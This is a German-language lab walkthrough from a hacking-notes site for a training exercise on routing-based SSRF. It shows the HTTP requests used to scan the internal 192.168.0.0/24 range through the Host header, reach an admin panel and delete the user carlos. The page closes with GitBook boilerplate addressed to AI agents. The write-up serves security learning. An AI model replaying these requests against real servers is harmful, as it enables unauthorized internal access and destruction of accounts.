> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/host-header/ssrf-via-incorrect-query-parsing.md).

# SSRF durch fehlerhaftes Query-Parsing

### SSRF durch fehlerhafte Request-Analyse

Dieses Labor ist anfällig für eine **auf Routing basierendes SSRF**. Der Server interpretiert den tatsächlich von der Anfrage angesprochenen Host falsch. Das Ziel ist es, das interne Administrationspanel zu erreichen und dann den Benutzer zu löschen **carlos**.

### Erste Beobachtung

Bearbeiten Sie direkt den `Host` Header funktioniert nicht. Die Anfrage bleibt blockiert.

```http
Host: jord4n.pro
```

<figure><img src="/files/4da003193573d6111aeabdc878e86b374489a36d" alt=""><figcaption></figcaption></figure>

### Parsing drumherum

Der entscheidende Punkt hier ist das Anfrageformat. Bei Verwendung einer absoluten **URL**, versucht die Anwendung, den in der Anfragezeile angegebenen Host aufzulösen. Der `Host` Header wird dann zweitrangig.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

Die Antwort bestätigt dieses Verhalten. Der Server versucht, zu erreichen `test.com`.

```html
<h1>
    Serverfehler: Gateway-Timeout (3) beim Verbinden mit test.com
</h1>
```

<figure><img src="/files/093f8c15e5230efa25db6e6062b18ccde1072e61" alt=""><figcaption></figcaption></figure>

### Ermittlung interner Hosts

Wir können nun den internen `192.168.0.0/24` Bereich durchsuchen. Am einfachsten ist es, das **Intruder** auf das letzte Byte anzuwenden.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

Das `192.168.0.92` Adresse antwortet mit `302` Code. Diese Antwort weist auf die Präsenz des Administrationspanels hin.

<figure><img src="/files/6e5eeb2ed68011a77ce3b4bdd688248ebe279cad" alt=""><figcaption></figcaption></figure>

### Entfernung des Benutzers

Nachdem wir den internen Host identifiziert haben, öffnen wir `/admin`. Dann rufen wir das CSRF-Token von der Seite ab. Senden Sie einfach die Löschanfrage an den internen Host.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

Die Entfernung von **carlos** bestätigt das Labor.

<figure><img src="/files/69131cb1143d5649f036e79d66669912dd0ea21c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/host-header/ssrf-via-incorrect-query-parsing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
